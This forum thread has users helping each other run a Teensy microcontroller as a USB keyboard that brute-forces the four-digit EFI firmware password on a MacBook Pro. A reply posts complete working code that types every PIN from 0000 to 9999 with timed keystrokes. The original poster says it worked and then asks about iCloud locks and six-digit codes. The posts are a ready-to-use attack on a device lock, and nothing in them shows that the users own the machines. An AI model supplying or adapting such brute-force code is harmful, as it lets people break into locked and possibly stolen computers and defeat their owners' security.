Help with Brute Force EFI with Teensy 3.6


Rendering Error in layout Widget/Social: Call to a member function exists() on null. Please enable debug mode for more information.
More
7 years 2 months ago #6431 by SimpleJustice
I am emailing you because I have tried every thing, and cant get the program to up load to my Teensy 3.6 without getting errors and it wont upload. I copied your and others EFI Brute force, and its not working at all. I will send you error messages and pinout of my board. Remember it is the 3.6 and requires I set the led to the proper pin but I don't know what pin it is as I cant find it on the internet.Note I know about the EFI Destroyer and that method but I do not have the money for it at this time. I plan to get that when I have the money or I was thinking about making it my self just for the fun of it if I can learn how to work with (Teensy) and (Raspberry PI) better.First I should say I am using and iMac with macOS Sierra 10.12.3... Second I am getting the error messages in Arduino 1.8.1 and I have installed Teensyduino, I also have Teensy Loader installed. Arduino won't let me load the file until the errors are fixed. Also I am using just the LED and wasnt really wanting to attach a screen. Last thing I am trying this on a late 2011 MacBook Pro that is locked with the padlock and a place to put in a code. Please if you can help me, thanks...I will attach pinout pdf of board.ERROR MESSAGE:Arduino: 1.8.1 (Mac OS X), TD: 1.35, Board: "Teensy 3.6, Keyboard, 180 MHz, Fast, US English"
sketch_feb11a:9: error: stray '#' in program
}#include <usb_keyboard.h>
^
sketch_feb11a:9: error: 'include' does not name a type

}#include <usb_keyboard.h>
^
sketch_feb11a: In function 'void setup()':
sketch_feb11a:20: error: redefinition of 'void setup()'
void setup() {
^
sketch_feb11a:1: error: 'void setup()' previously defined here
void setup() {
^
sketch_feb11a: In function 'void loop()':
sketch_feb11a:26: error: redefinition of 'void loop()'
void loop(){
^
sketch_feb11a:6: error: 'void loop()' previously defined here
void loop() {
^
sketch_feb11a:27: error: 'readPin' was not declared in this scope
int lightVal = analogRead(readPin);
^
stray '#' in program
This report would have more information with

"Show verbose output during compilation"

option enabled in File -> Preferences.

___________________________________________________

PROGRAM I COPIED AND TRIED TO RUN:

void setup() {

// put your setup code here, to run once:
}
void loop() {

// put your main code here, to run repeatedly:

}#include <usb_keyboard.h>

const int readPin = A0; // Analog read pin of the LDR.

const int ledPin = 13; // Led Pin, 13 on Teensy 3.1.

const char* digits = "%04d"; // sprintf() format, %04d = 4 digits.

int bfDigits = 9999; // Brute force eventuallity, how hight to count.

int iterDelay = 14000; // Iteration delay, adjust as needed.

int lightThresh = 100; // Threshold of LDR, depends on resistor value.

int count = 0;

char code[4];

void setup() {

keyboard_modifier_keys = 0;

pinMode(ledPin, OUTPUT);

delay(5000);

}



void loop(){

int lightVal = analogRead(readPin);

//Serial.println(lightVal); // Print LDR value to serial to manually determine lightThresh.

if (lightVal < lightThresh){

if (count <= bfDigits){

sprintf(code, digits, count);

for (int i=0; i < 4; i++){

digitalWrite(ledPin, HIGH);

Keyboard.press(code);

delay(200);

digitalWrite(ledPin, LOW);

Keyboard.release(code);

delay(200);

}

Keyboard.press(KEY_ENTER);

delay(200);

Keyboard.release(KEY_ENTER);

delay(iterDelay);

count++;

}

else if (count > bfDigits){

while (1){

for (int i=0; i < 3; i++){

digitalWrite(ledPin, HIGH);

delay(100);

digitalWrite(ledPin, LOW);

delay(100);

}

delay(500);

}

}

}

else if (lightVal > lightThresh){

while (1){

for (int i=0; i < 3; i++){

digitalWrite(ledPin, HIGH);

delay(100);

digitalWrite(ledPin, LOW);

delay(100);

}

delay(500);

}

}


}



PLEASE LET ME KNOW IF YOU CAN HELP AND LEAD ME IN THE RIGHT DIRECTION.

Please Log in or Create an account to join the conversation.

More
7 years 2 months ago - 7 years 2 months ago #6432 by CygnusX1
This is what I used.
#include <usb_keyboard.h>
// This code was developed and written by Overtech
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

Hope this helps!

If I helped you buy me a latte!
Last edit: 7 years 2 months ago by CygnusX1.

Please Log in or Create an account to join the conversation.

More
7 years 2 months ago #6433 by SimpleJustice
I got a question is the code different for icloud Lock? Also if it is a 6 digit code all I have to do is change the amount of numbers or will I have to change the whole setup? Thanks again for your help that code worked great. Thanks again.... Also included pic of Teensy 3.6 working.
Attachments:
The following user(s) said Thank You: CygnusX1

Please Log in or Create an account to join the conversation.

More
7 years 2 months ago #6455 by negon

SimpleJustice wrote: I got a question is the code different for icloud Lock? Also if it is a 6 digit code all I have to do is change the amount of numbers or will I have to change the whole setup? Thanks again for your help that code worked great. Thanks again.... Also included pic of Teensy 3.6 working.


I'm not sure about the logistics of it, but a 6-digit lock would take something like 2 years to brute force, potentially.

Please Log in or Create an account to join the conversation.

Who's Online

We have 724 guests and no members online

N00BZ

  • ljamal
  • ljamal74
  • mikeg2atest
  • ducchinhbui
  • anjarezt

Cookies